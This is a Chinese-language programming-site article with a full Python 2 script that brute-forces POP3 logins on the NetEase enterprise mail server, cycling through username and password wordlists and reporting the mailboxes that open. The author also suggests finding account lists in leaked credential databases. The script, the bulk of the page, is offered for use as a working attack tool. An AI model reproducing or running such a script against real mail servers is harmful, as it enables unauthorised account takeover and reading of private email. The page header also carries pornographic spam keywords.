国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python制作企業(yè)郵箱的爆破腳本

2020-01-04 17:23:52
字體:
供稿:網(wǎng)友

按照師傅給的任務(wù),寫了一個企業(yè)郵箱的爆破腳本,后續(xù)還有FTP,SSH等一些爆破的腳本。

我先說下整體思路:

總體就是利用python的poplib模塊來從pop3服務(wù)器上交互,根據(jù)獲取的相關(guān)信息,產(chǎn)生結(jié)果。POP3協(xié)議并不復(fù)雜,它也是采用的一問一答式的方式,你向服務(wù)器發(fā)送一個命令,服務(wù)器必然會回復(fù)一個信息.

1.首先驗證參數(shù)是否正確

    Sys.argv[]是用來獲取命令行參數(shù)的,sys.argv[0]表示代碼本身文件路徑,所以參數(shù)從1開始

2.然后從用戶密碼文件中讀取信息
3.pop.getwelcome()用來獲取連接服務(wù)器的響應(yīng)狀態(tài)
4.然后就是腳本的核心代碼部分

server = "pop.qiye.163.com" //設(shè)置pop3服務(wù)器地址pop = poplib.POP3(server,110) //連接pop3服務(wù)器pop.user(user) //驗證用戶名auth = pop.pass_(passwd) //驗證密碼if auth.split(' ')[0]== "+OK": //判斷響應(yīng)的結(jié)果是否“OK” pring user,passwd

5.最后輸出出來相關(guān)的用戶信息

腳本代碼如下:

#!/usr/bin/python# -*- coding: UTF-8 -*-'''@Author:joy_nick@博客:http://byd.dropsec.xyz/@Email Pop3 Brute Forcer'''import threading, time, random, sys, poplibfrom copy import copyif len(sys.argv) !=3: print "/t --------------------------------------------------/n" print "/t Usage: ./Emailpopbrute.py <userlist> <passlist>/n" sys.exit(1)server = "pop.qiye.163.com"success = []try: users = open(sys.argv[1], "r").readlines()except(IOError): print "[-] Error: urerlist打開失敗!/n" sys.exit(1)try: words = open(sys.argv[2], "r").readlines()except(IOError): print "[-] Error: passlist打開失敗!/n" sys.exit(1)try: pop = poplib.POP3(server,110) welcome = pop.getwelcome() print welcome pop.quit()except (poplib.error_proto): welcome = "No Response" passdef mailbruteforce(listuser,listpwd): if len(listuser) < 1 or len(listpwd) < 1 : print "An error occurred: No user or pass list" return 1 for user in listuser: for value in listpwd : user = user.replace("/n","") value = value.replace("/n","") try: print "-"*12 print "[+] User:",user,"Password:",value time.sleep(1) pop = poplib.POP3(server,110) pop.user(user) auth = pop.pass_(value) print auth if auth.split(' ')[0]!= "+OK" : pop.quit() print "unknown error !" continue if pop.stat()[1] is None or pop.stat()[1] < 1 : pop.quit() print "獲取信息失敗!" continue ret = (user,value,pop.stat()[0],pop.stat()[1]) success.append(ret) pop.quit() break except: #print "An error occurred:", msg passprint "/t --------------------------------------------------/n"print "[+] Server:",serverprint "[+] Port: 995"print "[+] Users Loaded:",len(users)print "[+] Words Loaded:",len(words)print "[+] Server response:",welcome,"/n"mailbruteforce(users,words)print "/t[+] have weakpass :/t",len(success)if len(success) >=1: for ret in success: print "/n/n[+] Login successful:",ret[0], ret[1] print "/t[+] Mail:",ret[2],"emails" print "/t[+] Size:",ret[3],"bytes/n"print "/n[-] Done"

測試結(jié)果:

python,爆破,郵箱爆破,爆破郵箱

說明:

用戶字典文件需要@domain.com,類似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com這樣的。由于我也沒有企業(yè)郵箱的賬號密碼,也就沒測試成功的,要是感興趣,可以搜一下相關(guān)社工褲。

附:

python 中 os._exit(), sys.exit(), exit() 的區(qū)別是什么?

  1. sys.exit(n) 退出程序引發(fā)一個SystemExit異常, 可以捕獲異常執(zhí)行些清理工作. n默認(rèn)值為0, 表示正常退出. 其他都是非正常退出. 沒有捕獲這個異常,會直接退出;捕獲這個異常可以做一些額外的清理工作。 一般主程序中使用此退出
  2. os._exit(n), 直接退出 Python 解釋器,其后的代碼都不執(zhí)行, 不拋異常, 不執(zhí)行相關(guān)清理工作. 常用在子進(jìn)程的退出.
  3. exit() 跟 C 語言等其他語言的 exit() 應(yīng)該是一樣的

pop3收取郵件的過程一般是:

  • 連接pop3服務(wù)器 (poplib.POP3.__init__)
  • 發(fā)送用戶名和密碼進(jìn)行驗證 (poplib.POP3.user poplib.POP3.pass_)
  • 獲取郵箱中信件信息 (poplib.POP3.stat)
  • 收取郵件 (poplib.POP3.retr)
  • 刪除郵件 (poplib.POP3.dele)
  • 退出 (poplib.POP3.quit)

命令 poplib方法 參數(shù) 狀態(tài) 描述
-----------------------------------------------------------------------------------------------
USER user username 認(rèn)可 用戶名,此命令與下面的pass命令若成功,將導(dǎo)致狀態(tài)轉(zhuǎn)換
PASS pass_ password 認(rèn)可 用戶密碼
APOP apop Name,Digest 認(rèn)可 Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT stat None 處理 請求服務(wù)器發(fā)回關(guān)于郵箱的統(tǒng)計資料,如郵件總數(shù)和總字節(jié)數(shù)
UIDL uidl [Msg#] 處理 返回郵件的唯一標(biāo)識符,POP3會話的每個標(biāo)識符都將是唯一的
LIST list [Msg#] 處理 返回郵件數(shù)量和每個郵件的大小
RETR retr [Msg#] 處理 返回由參數(shù)標(biāo)識的郵件的全部文本
DELE dele [Msg#] 處理 服務(wù)器將由參數(shù)標(biāo)識的郵件標(biāo)記為刪除,由quit命令執(zhí)行
RSET rset None 處理 服務(wù)器將重置所有標(biāo)記為刪除的郵件,用于撤消DELE命令
TOP top [Msg#] 處理 服務(wù)器將返回由參數(shù)標(biāo)識的郵件前n行內(nèi)容,n必須是正整數(shù)
NOOP noop None 處理 服務(wù)器返回一個肯定的響應(yīng)

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 卢龙县| 揭东县| 鸡东县| 湘潭市| 夏津县| 施秉县| 泸溪县| 通化县| 澄江县| 象州县| 南乐县| 怀宁县| 革吉县| 淮阳县| 米泉市| 沧州市| 乐清市| 从江县| 忻城县| 仪陇县| 平塘县| 青神县| 无锡市| 扎鲁特旗| 嘉善县| 忻州市| 怀柔区| 湟源县| 米林县| 五台县| 罗源县| 吴旗县| 大冶市| 湘潭市| 安康市| 常德市| 西乌珠穆沁旗| 焦作市| 湟中县| 湟中县| 宽城|